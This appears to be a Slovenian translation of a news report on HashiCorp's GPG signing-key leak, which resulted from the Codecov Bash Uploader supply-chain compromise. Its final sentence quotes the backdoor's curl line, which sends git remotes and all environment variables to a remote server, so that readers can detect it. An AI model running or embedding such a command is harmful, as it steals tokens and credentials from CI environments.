Podjetje HashiCorp, znano po razvoju odprtokodnih orodij Vagrant, Packer, Nomad in Terraform, je sporočilo o uhajanju zasebnega GPG-ključa, ki se uporablja za ustvarjanje digitalnih podpisov, ki overjajo izdaje. Napadalci, ki so pridobili dostop do GPG-ključa, so potencialno lahko vnesli skrite spremembe v izdelke HashiCorp, jih potrdili s pravilnim digitalnim podpisom. Pri tem je podjetje navedlo, da v okviru izvedenega pregleda sledi poskusov takšnih sprememb ni bilo ugotovljenih.
Trenutno je kompromitiran GPG-ključ umaknjen, namesto njega pa je bil uveden nov ključ. Težava je vplivala le na overjanje z uporabo datotek SHA256SUM in SHA256SUM.sig in ni vplivala na ustvarjanje digitalnih podpisov za Linux pakete DEB in RPM, ki se ponudijo preko releases.hashicorp.com, prav tako pa tudi ne na mehanizme potrjevanja izdaj za macOS in Windows (AuthentiCode).
Uhajanje se je zgodilo zaradi uporabe skripta Codecov Bash Uploader (codecov-bash) v infrastrukturi, namenjenega nalaganju poročil o pokritosti iz sistemov neprekinjene integracije. Med napadom na podjetje Codecov je bil v omenjeno skripto prikrito vnesen zadnji dostop, preko katerega je bila organizirana pošiljka gesel in šifrirnih ključev na strežnik napadalce.
Za hekanje so napadalci izkoristili napako v procesu ustvarjanja Docker-imidža Codecov, ki je omogočila pridobitev podatkov za dostop do GCS (Google Cloud Storage), potrebnih za spreminjanje skripta Bash Uploader, ki se je razširil s spletne strani codecov.io. Spremembe so bile opravljene 31. januarja in dva meseca niso bile opazne, kar je napadalcem omogočilo pridobivanje informacij, shranjenih v okolju sistemov neprekinjene integracije strank. S pomočjo dodane zlonamerne kode so napadalci lahko pridobili informacije o testiranem Git repozitoriju in vseh spremenljivkah okolja, vključno s tokeni, šifrirnimi ključi in gesli, ki se prenašajo v sisteme neprekinjene integracije za dostop do kode aplikacij, skladišč in storitev, kot so Amazon Web Services in GitHub.
Poleg neposrednega klica je bil skript Codecov Bash Uploader uporabljen v okviru drugih nalagalnikov, kot so Codecov-action (Github), Codecov-circleci-orb in Codecov-bitrise-step, katerih uporabniki so prav tako izpostavljeni težavi. Vsem uporabnikom codecov-bash in povezanih izdelkov se priporoča, da pregledajo svojo infrastrukturo ter spremenijo gesla in šifrirne ključe. Preverjanje prisotnosti backdoorja v skriptu lahko izvedemo tako, da iščemo vrstico curl -sm 0.5 -d "$(git remote -v)<<< ENV $(env)" http:///upload/v2 || true
Izvor: opennet.ru
